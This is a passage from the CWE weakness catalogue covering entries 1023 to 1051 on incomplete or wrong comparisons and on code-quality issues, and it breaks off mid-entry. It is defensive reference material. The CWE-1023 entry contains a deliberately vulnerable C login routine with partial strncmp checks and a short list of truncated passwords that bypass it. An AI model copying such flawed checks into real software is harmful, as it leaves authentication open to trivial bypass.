CWE-1023: Incomplete Comparison with Missing Factors

Weakness ID : 1023 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software performs a comparison between entities that must consider multiple factors or characteristics of each entity, but the comparison does not include one or more of these factors.

Extended Description

An incomplete comparison can lead to resultant weaknesses, e.g., by operating on the wrong object or making a security decision without considering a required factor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350
ParentOf	B	184	Incomplete List of Disallowed Inputs	425

Nature	Type	ID	Name	Page
ParentOf	V	187	Partial String Comparison	432
ParentOf	B	478	Missing Default Case in Switch Statement	1018
ParentOf	B	839	Numeric Range Comparison Without Minimum Check	1554

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative Examples

Example 1:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C *(bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strncmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (! strncmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(attack)*

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

CWE-1024: Comparison of Incompatible Types

Weakness ID : 1024 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared.

Extended Description

In languages that are strictly typed but support casting/conversion, such as C or C++, the programmer might assume that casting one entity to the same type as another entity will ensure that the comparison will be performed correctly, but this cannot be guaranteed. In languages that are not strictly typed, such as PHP or JavaScript, there may be implicit casting/conversion to a type that the programmer is unaware of, causing unexpected results; for example, the string "123" might be converted to a number type. See examples.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Weakness Ordinalities

Primary :

Applicable Platforms

Language : JavaScript *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

CWE-1025: Comparison Using Wrong Factors

Weakness ID : 1025 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses.

Extended Description

This can lead to incorrect results and resultant weaknesses. For example, the code might inadvertently compare references to objects, instead of the relevant contents of those objects, causing two "equal" objects to be considered unequal.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350
ParentOf	V	486	Comparison of Classes by Name	1036
ParentOf	V	595	Comparison of Object References Instead of Object Contents	1187

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

Example Language: Java *(bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: *(good)*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

CWE-1037: Processor Optimization Removal or Modification of Security-critical Code

Weakness ID : 1037 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1038	Insecure Automated Optimizations	1641

Nature	Type	ID	Name	Page
PeerOf	B	1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels	1800

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made by the processor in executing the specified application.

Applicable Platforms

Language : Language-Independent *(Prevalence = Rarely)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism *A successful exploitation of this weakness will change the order of an application's execution and will likely be used to bypass specific protection mechanisms. This bypass can be exploited further to potentially read data that should otherwise be unaccessible.*	High

Detection Methods

White Box

In theory this weakness can be detected through the use of white box testing techniques where specifically crafted test cases are used in conjunction with debuggers to verify the order of statements being executed.

Effectiveness = Opportunistic

Although the mentioned detection method is theoretically possible, the use of speculative execution is a preferred way of increasing processor performance. The reality is that a large number of statements are executed out of order, and determining if any of them break an access control property would be extremely opportunistic.

Observed Examples

Reference	Description
CVE-2017-5715	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715*
CVE-2017-5753	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5753*
CVE-2017-5754	Intel processor optimizations related to speculative execution cause access control checks to be bypassed when placing data into the cache. Often known as "Meltdown". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754*

References

[REF-11]Paul Kocher, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg, Moritz Lipp, Stefan Mangard, Thomas Prescher, Michael Schwarz and Yuval Yarom. "Spectre Attacks: Exploiting Speculative Execution". 2018 January 3. < https://arxiv.org/abs/1801.01203 >.

[REF-12]Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom and Mike Hamburg. "Meltdown". 2018 January 3. < https://arxiv.org/abs/1801.01207 >.

CWE-1038: Insecure Automated Optimizations

Weakness ID : 1038 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
ChildOf	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	943
ParentOf	B	733	Compiler Optimization Removal or Modification of Security-critical Code	1375
ParentOf	B	1037	Processor Optimization Removal or Modification of Security-critical Code	1639

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made during optimization.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic *The optimizations alter the order of execution resulting in side effects that were not intended by the original developer.*	

CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations

Weakness ID : 1039 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product uses an automated mechanism such as machine learning to recognize complex data inputs (e.g. image or audio) as a particular concept or category, but it does not properly detect or handle inputs that have been modified or constructed in a way that causes the mechanism to detect a different, incorrect concept.

Extended Description

When techniques such as machine learning are used to automatically classify input streams, and those classifications are used for security-critical decisions, then any mistake in classification can introduce a vulnerability that allows attackers to cause the product to make the wrong security decision. If the automated mechanism is not developed or "trained" with enough input data, then attackers may be able to craft malicious input that intentionally triggers the incorrect classification.

Targeted technologies include, but are not necessarily limited to:

- automated speech recognition
- automated image recognition

For example, an attacker might modify road signs or road surface markings to trick autonomous vehicles into misreading the sign/marking and performing a dangerous action.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350
ChildOf	P	693	Protection Mechanism Failure	1344

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made during optimization.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism *When the automated recognition is used in a protection mechanism, an attacker may be able to craft inputs that are misinterpreted in a way that grants excess privileges.*	

Notes

Relationship

Further investigation is needed to determine if better relationships exist or if additional organizational entries need to be created. For example, this issue might be better related to "recognition of input as an incorrect type," which might place it as a sibling of CWE-704 (incorrect type conversion).

References

[REF-16]Christian Szegedy, Wojciech Zaremba, Ilya Sutskever, Joan Bruna, Dumitru Erhan, Ian Goodfellow and Rob Fergus. "Intriguing properties of neural networks". 2014 February 9. < https://arxiv.org/abs/1312.6199 >.

[REF-17]OpenAI. "Attacking Machine Learning with Adversarial Examples". 2017 February 4. < https://blog.openai.com/adversarial-example-research/ >.

[REF-15]James Vincent. "Magic AI: These are the Optical Illusions that Trick, Fool, and Flummox Computers". 2017 April 2. The Verge. < https://www.theverge.com/2017/4/12/15271874/ai-adversarial-images-fooling-attacks-artificial-intelligence >.

[REF-13]Xuejing Yuan, Yuxuan Chen, Yue Zhao, Yunhui Long, Xiaokang Liu, Kai Chen, Shengzhi Zhang, Heqing Huang, Xiaofeng Wang and Carl A. Gunter. "CommanderSong: A Systematic Approach for Practical Adversarial Voice Recognition". 2018 January 4. < https://arxiv.org/pdf/1801.08535.pdf >.

[REF-14]Nicholas Carlini and David Wagner. "Audio Adversarial Examples: Targeted Attacks on Speech-to-Text". 2018 January 5. < https://arxiv.org/abs/1801.01944 >.

CWE-1041: Use of Redundant Code

Weakness ID : 1041 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software has multiple functions, methods, procedures, macros, etc. that contain the same code.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. For example, if there are two copies of the same code, the programmer might fix a weakness in one copy while forgetting to fix the same weakness in another copy.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-19		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1042: Static Member Data Element outside of a Singleton Class Element

Weakness ID : 1042 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The code contains a member element that is declared as static (but not final), in which its parent class element is not a singleton class - that is, a class element that can be used only once in the 'to' association of a Create action.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1176	Inefficient CPU Computation	1724

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-3		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements

Weakness ID : 1043 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1093	Excessively Complex Data Representation	1693

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

Scope	Impact	Likelihood

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-12		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range

Weakness ID : 1044 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software's architecture contains too many - or too few - horizontal layers.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "expected range" may vary for each product or developer, CISQ recommends a default minimum of 4 layers and maximum of 8 layers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-9		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor

Weakness ID : 1045 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.

Extended Description

This issue can prevent the software from running reliably, since the child might not perform essential destruction operations. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability, such as a memory leak (CWE-401).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1076	Insufficient Adherence to Expected Conventions	1677

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-17		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-977]QuantStart. "C++ Virtual Destructors: How to Avoid Memory Leaks". < https://www.quantstart.com/articles/C-Virtual-Destructors-How-to-Avoid-Memory-Leaks >.

[REF-978]GeeksforGeeks. "Virtual Destructor". < https://www.geeksforgeeks.org/virtual-destructor/ >.

CWE-1046: Creation of Immutable Text Using String Concatenation

Weakness ID : 1046 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software creates an immutable text string using string concatenation operations.

Extended Description

When building a string via a looping feature (e.g., a FOR or WHILE loop), the use of += to append to the existing string will result in the creation of a new object with each iteration. This programming pattern can be inefficient in comparison with use of text buffer data elements. This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this could be influenced to create performance problem.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1176	Inefficient CPU Computation	1724

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-2		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1047: Modules with Circular Dependencies

Weakness ID : 1047 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.

Extended Description

As an example, with Java, this weakness might indicate cycles between packages.

This issue makes it more difficult to maintain the software due to insufficient modularity, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-7		
OMG ASCRM	ASCRM-RLB-13		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1048: Invokable Control Element with Large Number of Outward Calls

Weakness ID : 1048 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains callable control elements that contain an excessively large number of references to other application objects external to the context of the callable, i.e. a Fan-Out value that is excessively large.

Extended Description

While the interpretation of "excessively large Fan-Out value" may vary for each product or developer, CISQ recommends a default of 5 referenced objects.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-4		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1049: Excessive Data Query Operations in a Large Data Table

Weakness ID : 1049 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software performs a data query with a large number of joins and sub-queries on a large data table.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "large number of joins or sub-queries" may vary for each product or developer, CISQ recommends a default of 1 million rows for a "large" data table, a default minimum of 5 joins, and a default minimum of 3 sub-queries.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1176	Inefficient CPU Computation	1724

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-4		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1050: Excessive Platform Resource Consumption within a Loop

Weakness ID : 1050 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.

Extended Description

This issue can make the software perform more slowly. If an attacker can influence the number of iterations in the loop, then this performance problem might allow a denial of service by consuming more platform resources than intended.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	883

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-8		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data

Weakness ID : 1051 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software initializes data using hard-coded values that act as network resource identifiers.

Extended Description

This issue can prevent the software from running reliably, e.g. if it runs in an environment does not use the hard-coded network resource identifiers. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

